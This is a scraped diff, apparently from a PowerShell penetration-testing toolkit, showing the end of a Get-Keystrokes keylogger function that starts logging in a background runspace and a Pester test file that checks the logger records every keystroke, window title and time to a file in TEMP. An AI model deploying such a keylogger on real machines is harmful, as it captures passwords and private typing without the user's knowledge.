$PowerShell = [PowerShell]::Create()
|
||||||
|
[void]$PowerShell.AddScript($Script)
|
||||||
|
[void]$PowerShell.AddArgument($LogPath)
|
||||||
|
if ($PSBoundParameters.Timeout) { [void]$PowerShell.AddArgument($Timeout) }
|
||||||
|
|
||||||
|
# Start KeyLogger
|
||||||
|
[void]$PowerShell.BeginInvoke()
|
||||||
|
|
||||||
|
if ($Return.IsPresent) { return $PowerShell }
|
||||||
}
|
}
|
||||||
|
|
@ -0,0 +1,55 @@
|
||||||
|
Set-StrictMode -Version Latest
|
||||||
|
|
||||||
|
$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent
|
||||||
|
$ModuleRoot = Resolve-Path "$TestScriptRoot\.."
|
||||||
|
$ModuleManifest = "$ModuleRoot\Exfiltration\Exfiltration.psd1"
|
||||||
|
|
||||||
|
Remove-Module [E]xfiltration
|
||||||
|
Import-Module $ModuleManifest -Force -ErrorAction Stop
|
||||||
|
|
||||||
|
Describe 'Get-Keystrokes' {
|
||||||
|
|
||||||
|
if (Test-Path "$($env:TEMP)\key.log") { Remove-Item -Force "$($env:TEMP)\key.log" }
|
||||||
|
$WindowTitle = (Get-Process -Id $PID).MainWindowTitle
|
||||||
|
|
||||||
|
$Shell = New-Object -ComObject wscript.shell
|
||||||
|
$Shell.AppActivate($WindowTitle)
|
||||||
|
|
||||||
|
$KeyLogger = Get-Keystrokes -Return
|
||||||
|
Start-Sleep -Seconds 1
|
||||||
|
|
||||||
|
$Shell.SendKeys('Pester is SUPER l337!')
|
||||||
|
$KeyLogger.Dispose()
|
||||||
|
|
||||||
|
It 'Should output to file' { Test-Path "$($env:TEMP)\key.log" | Should Be $true }
|
||||||
|
|
||||||
|
$KeyObjects = Get-Content -Path "$($env:TEMP)\key.log" | ConvertFrom-Csv
|
||||||
|
|
||||||
|
It 'Should log all keystrokes' {
|
||||||
|
$Keys = $KeyObjects | % { $_.TypedKey }
|
||||||
|
$String = -join $Keys
|
||||||
|
$String | Should Be '<Shift>Pester< >is< ><Shift>S<Shift>U<Shift>P<Shift>E<Shift>R< >l337<Shift>!'
|
||||||
|
}
|
||||||
|
|
||||||
|
It 'Should get foreground window title' {
|
||||||
|
$KeyObjects[0].WindowTitle | Should Be $WindowTitle
|
||||||
|
}
|
||||||
|
|
||||||
|
It 'Should log time of key press' {
|
||||||
|
$KeyTime = [DateTime]::Parse($KeyObjects[0].Time)
|
||||||
|
$KeyTime.GetType().Name | Should Be 'DateTime'
|
||||||
|
}
|
||||||
|
|
||||||
|
It 'Should stop logging Pester is SUPER l337!after timeout' {
|
||||||
|
|
||||||
|
$Timeout = 0.05
|
||||||
|
$KeyLogger = Get-Keystrokes -Timeout $Timeout -Return
|
||||||
|
|
||||||
|
Start-Sleep -Seconds 4
|
||||||
|
|
||||||
|
$KeyLogger.Runspace.RunspaceAvailability | Should Be 'Available'
|
||||||
|
$KeyLogger.Dispose()
|
||||||
|
}
|
||||||
|
|
||||||
|
Remove-Item -Force "$($env:TEMP)\key.log"
|
||||||
|
}
|
||||||
Loading…
Reference in New Issue